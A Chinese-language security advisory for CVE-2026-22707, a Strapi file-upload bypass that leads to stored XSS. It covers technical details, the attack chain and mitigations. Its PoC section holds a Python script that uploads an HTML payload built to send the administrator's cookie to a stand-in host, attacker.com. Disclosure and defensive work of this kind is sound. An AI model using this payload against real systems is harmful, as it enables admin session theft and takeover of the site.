IPBUF安全漏洞报告
English
CVE-2026-22707 CVSS 5.4 中危

CVE-2026-22707 Strapi文件上传绕过致XSS漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-22707
漏洞类型
文件上传绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Strapi

相关标签

Strapi文件上传绕过XSSCVE-2026-22707CMS漏洞

漏洞概述

Strapi 5.33.3前版本Content API未强制执行MIME类型限制,允许认证用户上传HTML/SVG。若文件同源托管,管理员打开恶意文件将触发XSS,导致会话被劫持。

技术细节

该漏洞存在于Strapi的Upload插件中。在5.33.3版本之前,Content API端点未强制执行管理员配置的MIME类型限制(`allowedTypes`和`deniedTypes`)。具体技术细节在于,Content API的处理函数`uploadFiles`和`replaceFile`直接调用了底层上传服务,完全绕过了`enforceUploadSecurity`安全检查,该检查本应负责魔数检测和黑白名单过滤。相比之下,Admin Panel正确执行了此检查。因此,拥有Content API上传权限的攻击者可以上传包含恶意脚本的HTML或SVG文件。由于Strapi默认从与Admin Panel相同的源提供上传文件,攻击者诱导管理员访问这些文件时,将触发存储型XSS。攻击者可借此执行JavaScript代码,窃取管理员Cookie或Session Token,进而完全接管后台管理权限。补丁通过引入共享的`prepareUploadRequest`辅助函数修复了此问题。

攻击链分析

STEP 1
1. 权限获取
攻击者注册或获取一个低权限账号,该账号需拥有Content API的上传权限。
STEP 2
2. 构造Payload
攻击者创建包含恶意JavaScript代码的HTML或SVG文件,用于窃取Session或执行操作。
STEP 3
3. 执行绕过上传
攻击者向`/api/upload`等Content API端点发送POST请求,上传恶意文件。由于缺少MIME检查,服务器接受文件。
STEP 4
4. 诱导访问
攻击者获取上传文件的URL,并通过钓鱼或社会工程学手段诱导管理员点击该链接。
STEP 5
5. 触发XSS与接管
管理员在同源浏览器中打开文件,恶意脚本执行,攻击者获取管理员凭证并接管系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Content API upload endpoint) target_url = "http://localhost:1337/api/upload" # Malicious HTML file containing XSS payload # This script sends the admin's cookie to an attacker-controlled server xss_payload = '<script>fetch("http://attacker.com/steal?c=" + document.cookie)</script>' files = { 'files': ('malicious.html', xss_payload, 'text/html') } # Header with a low-privileged user's JWT token headers = { 'Authorization': 'Bearer <VALID_JWT_TOKEN>' } try: response = requests.post(target_url, files=files, headers=headers) if response.status_code == 200: print("[+] Exploit successful!") print("[+] File URL:", response.json()[0]['url']) print("[+] Send this URL to an admin to trigger XSS.") else: print("[-] Exploit failed.") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

Strapi < 5.33.3

防御指南

临时缓解措施
若无法立即升级,建议严格限制Content API的上传权限,仅赋予受信任的用户。同时,可以通过配置反向代理(如Nginx),将上传文件的访问路径映射到不同的二级域名,从而破坏同源策略(SOP),防止XSS攻击管理员面板。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表